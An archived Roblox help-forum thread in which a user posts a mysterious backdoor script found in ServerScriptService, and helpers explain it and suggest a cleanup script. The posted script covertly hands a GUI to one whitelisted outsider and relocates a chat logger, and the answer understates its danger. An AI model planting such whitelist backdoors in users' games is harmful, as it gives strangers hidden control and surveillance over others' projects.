Scripting HelpersARCHIVE
A little piece of Roblox history. Preserved for everyone, one question at a time.Read about the archive →
COMMUNITY QUESTION

How to get rid of Whitelist scripts Permanently ?

Whenever i join someone or create a game in studio there is always a script in server script service that's name is blank and when i look at whats in it this is what it says

local whitelisted = {"coolyahya1278"}
local gui = script:FindFirstChildOfClass("ScreenGui")
function check(name)
for i,v in pairs(whitelisted) do
if v:lower()==name:lower() then
return true
end
end
return false
end

function onEnter(player)
local name=player.Name
if check(name) then
gui:Clone().Parent = player.PlayerGui
else
print()
end
end


--[[get all players who entered]]
for i,b in pairs(game.Players:getPlayers()) do
onEnter(b)
end
game.Players.PlayerAdded:connect(onEnter)
script.Chatlogger.Parent = game.ServerScriptService

I didn't edit the script this is actually what it says i don't know anything about whitelist scripts so this is all i know

2 comments

0

probably a backdoor (server-sided scripts/plugins that create viruses every join on roblox studio). search all your plugins and make sure they don't have any viruses.

0

I deleted every plugin i had at that time but its still there hehe i can still report this coolhaya guy

1 answer

Well, let me explain what's going on with this script. Basically, it's a low level scam/virus script, also, you might find a ScreenGui inside the script. Note : That the script you have shown isn't harmful in any way for the players joining unless there's something wrong in the Gui.Here's that the script is doing :

function check(name)
for i,v in pairs(whitelisted) do
if v:lower()==name:lower() then
return true
end
end
return false
end

-- The above function checks whether the name is equal to the name written in the whitelist table. ':lower()' just converts the text to 'lowercase'. If name is found then returns true.

function onEnter(player)
local name=player.Name
if check(name) then
gui:Clone().Parent = player.PlayerGui
else
print()
end
end

-- The above function gives command to the function check on player enter, if the function check returns true, it clones the gui present in the script to the player's gui (Not all players, only to the player in the whitelist).

Also, looking at the capitalizations, it looks like the script is very old and might be written when roblox didn't deprecate some of the stuff that is deprecated now.

Try what @krowten024nabrU have said. Also, just for extra security, you can do the following:

First, add the following script in ServerScriptService, to encounter the script you found :

local SSS = game:GetService('ServerScriptService')

while wait() do -- An endless loop
	local STable = SSS:GetChildren() -- Gets all the stuff in ServerScriptService

	if STable then -- If table isn't nil
		for none, script in pairs(STable) do -- Using 'pairs' as it is faster than 'ipairs'
			if script:IsA('Script') then -- If the object chosen is script
				if script:FindFirstChildOfClass('ScreenGui') then -- If ScreenGui is found in the script (as mentioned in the script)
					script:Destroy() -- Destroys that script
				end	
			end
		end
	end
end

Second, Open 'Find' option in Roblox Studio and search for require. And, check the results. if you don't find one, you are good. If you find one, it would be like require(1234567890), just delete that script. And before deleting, if you find the script in a free model, then report it.

Lemme know if it helps!

1 comment

0

ok

This discussion is preserved as it was. New answers, comments, and votes are closed.